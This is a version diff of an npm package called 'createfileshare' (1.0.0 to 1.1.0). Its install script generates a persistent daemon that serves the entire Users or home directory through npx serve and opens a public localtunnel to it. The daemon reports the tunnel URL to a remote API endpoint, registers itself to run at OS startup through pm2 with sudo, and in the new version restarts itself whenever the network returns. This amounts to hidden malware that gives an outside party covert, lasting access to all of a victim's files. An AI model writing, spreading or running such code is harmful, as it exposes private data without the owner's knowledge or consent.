createfileshare 1.0.0 → 1.1.0

package/index.js

@@ -18,10 +18,12 @@ if (!fs.existsSync(targetDir)) {
 }
 
 // --- 3. GENERATE THE INTERNAL SERVER SCRIPT ---
+// We use a regular string here to avoid template literal escaping madness
 const scriptContent = `
 const { exec } = require('child_process');
 const os = require('os');
 const path = require('path');
+const http = require('http');
 const localtunnel = require('localtunnel');
 const axios = require('axios');
 
@@ -30,49 +32,121 @@ const usersPath = platform === 'win32'
     ? path.join(process.env.SystemDrive || 'C:', 'Users') 
     : (platform === 'darwin' ? '/Users' : '/home');
 
-// Force start npx serve on Port ${PORT}
-const server = exec(\`npx serve "\${usersPath}" -l ${PORT} -n\`);
-
-(async () => {
-    // Wait 3 seconds to ensure the 'npx serve' process is fully up
-    await new Promise(resolve => setTimeout(resolve, 3000));
-
-    const connectTunnel = async (retries = 0) => {
-        try {
-            console.log(\`Attempting to open tunnel on port ${PORT}...\`);
-            const tunnel = await localtunnel({ 
-                port: ${PORT},
-                host: 'https://localtunnel.me' // Explicitly set host
-            });
-            
-            tunnel.on('close', () => {
-                console.log("tunnel closed reconnecting...");
-                setTimeout(connectTunnel, 5000);
-            });
-            
-            console.log(\`Tunnel Live: \${tunnel.url}\`);
-
-            await axios.post('${apiEndpoint}', { 
-                link: tunnel.url, 
-            });
-           
-            tunnel.on('error', (err) => {
-                console.error('Tunnel Error, restarting...', err);
-                setTimeout(connectTunnel, 5000); // Auto-restart on crash
-            });
-
-        } catch (err) {
-            if (retries > 0) {
-                console.error(\`Connection refused. Retrying in 5s... (\${retries} left)\`);
-                setTimeout(() => connectTunnel(retries - 1), 5000);
-            } else {
-                console.error("Max retries reached. Localtunnel servers might be down.");
-            }
+let tunnelInstance = null;
+let serverProcess = null;
+let isOnline = false;
+
+// 1. Helper to check real internet connectivity
+const checkInternet = () => {
+    return new Promise((resolve) => {
+        const req = http.request({
+            hostname: 'google.com',
+            port: 80,
+            method: 'HEAD',
+            timeout: 5000
+        }, () => resolve(true));
+
+        req.on('error', () => resolve(false));
+        req.on('timeout', () => { req.destroy(); resolve(false); });
+        req.end();
+    });
+};
+
+// 2. Helper to check if the public tunnel is actually responsive
+const checkTunnelHealth = async (url) => {
+    try {
+        await axios.get(url, { timeout: 8000, headers: { 'User-Agent': 'HealthCheck' } });
+        return true;
+    } catch (err) {
+        if (err.response && err.response.status < 500) return true;
+        return false;
+    }
+};
+
+const startServices = async () => {
+    try {
+        console.log("Starting local file server...");
+        serverProcess = exec(\`npx serve "\${usersPath}" -l ${PORT} -n\`, { detached: true });
+        await new Promise(r => setTimeout(r, 2000));
+
+        console.log("Attempting to open tunnel on port ${PORT}...");
+        tunnelInstance = await localtunnel({ 
+            port: ${PORT},
+            host: 'https://localtunnel.me' 
+        });
+        
+        console.log("Tunnel Live: " + tunnelInstance.url);
+
+        await axios.post('${apiEndpoint}', { 
+            link: tunnelInstance.url, 
+        });
+        console.log("URL reported to API successfully.");
+
+        tunnelInstance.on('close', () => {
+            console.log("Tunnel closed.");
+            tunnelInstance = null;
+        });
+
+    } catch (err) {
+        console.error("Failed to start services:", err.message);
+        stopServices();
+    }
+};
+
+const stopServices = () => {
+    console.log("Stopping all services...");
+    if (tunnelInstance) {
+        tunnelInstance.close();
+        tunnelInstance = null;
+    }
+    if (serverProcess) {
+        if (serverProcess.pid) {
+            try { process.kill(-serverProcess.pid, 'SIGKILL'); } catch (e) {}
+        }
+        serverProcess = null;
+    }
+};
+
+// 3. Main Monitor Loop
+const monitorNetwork = async () => {
+    const currentlyOnline = await checkInternet();
+
+    if (currentlyOnline && !isOnline) {
+        console.log("Network detected: ONLINE. Starting services...");
+        await startServices();
+        if (tunnelInstance && serverProcess) {
+            isOnline = true;
         }
-    };
+    } else if (!currentlyOnline && isOnline) {
+        console.log("Network lost: OFFLINE. Stopping services...");
+        isOnline = false;
+        stopServices();
+    } else if (currentlyOnline && (!tunnelInstance || !serverProcess)) {
+        console.log("Online but services missing. Restarting...");
+        stopServices(); 
+        await startServices();
+    } else if (currentlyOnline && tunnelInstance) {
+        const responsive = await checkTunnelHealth(tunnelInstance.url);
+        if (!responsive) {
+            console.log("Tunnel detected as STALE. Recycling...");
+            stopServices();
+            await startServices();
+        }
+    }
+
+    setTimeout(monitorNetwork, 15000);
+};
+
+console.log("Daemon monitoring initialized with self-healing...");
+monitorNetwork();
 
-    connectTunnel();
-})();
+const cleanup = () => {
+    console.log("Received kill signal, shutting down...");
+    stopServices();
+    process.exit(0);
+};
+process.on('SIGINT', cleanup);
+process.on('SIGTERM', cleanup);
 `;
 
 fs.writeFileSync(path.join(targetDir, 'index.js'), scriptContent);
@@ -99,7 +173,6 @@ try {
     execSync(`npm install -g pm2`, { stdio: 'inherit' });
 
     console.log(`\n🔥 Step 3: Starting PM2 Process (Force)...`);
-    // --force ensures it overwrites if a process with this name exists
     execSync(`pm2 start index.js --name "${folderName}" --force`, { cwd: targetDir, stdio: 'inherit' });
 
     console.log(`\n🛠️ Step 4: Automating OS Startup...`);
@@ -110,7 +183,6 @@ try {
         execSync(`npm install -g pm2-windows-startup`, { stdio: 'inherit' });
         execSync(`pm2-startup install`, { stdio: 'inherit' });
     } else {
-        // Linux/Mac: Capture and execute the sudo command
         const startupResult = execSync(`pm2 startup`, { encoding: 'utf8' });
         const lines = startupResult.split('\n');
         const commandToRun = lines.find(line => line.trim().startsWith('sudo') || line.trim().includes('env PATH'));
@@ -130,5 +202,4 @@ try {
 } catch (error) {
     console.error(`\n❌ Critical Failure during Force Execution:`);
     console.error(error.message);
-    console.log(`\nTIP: Ensure you are running this terminal as ADMINISTRATOR or with SUDO.`);
 }

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "createfileshare",
-  "version": "1.0.0",
+  "version": "1.1.0",
   "bin": {
     "createfileshare": "./index.js"
   }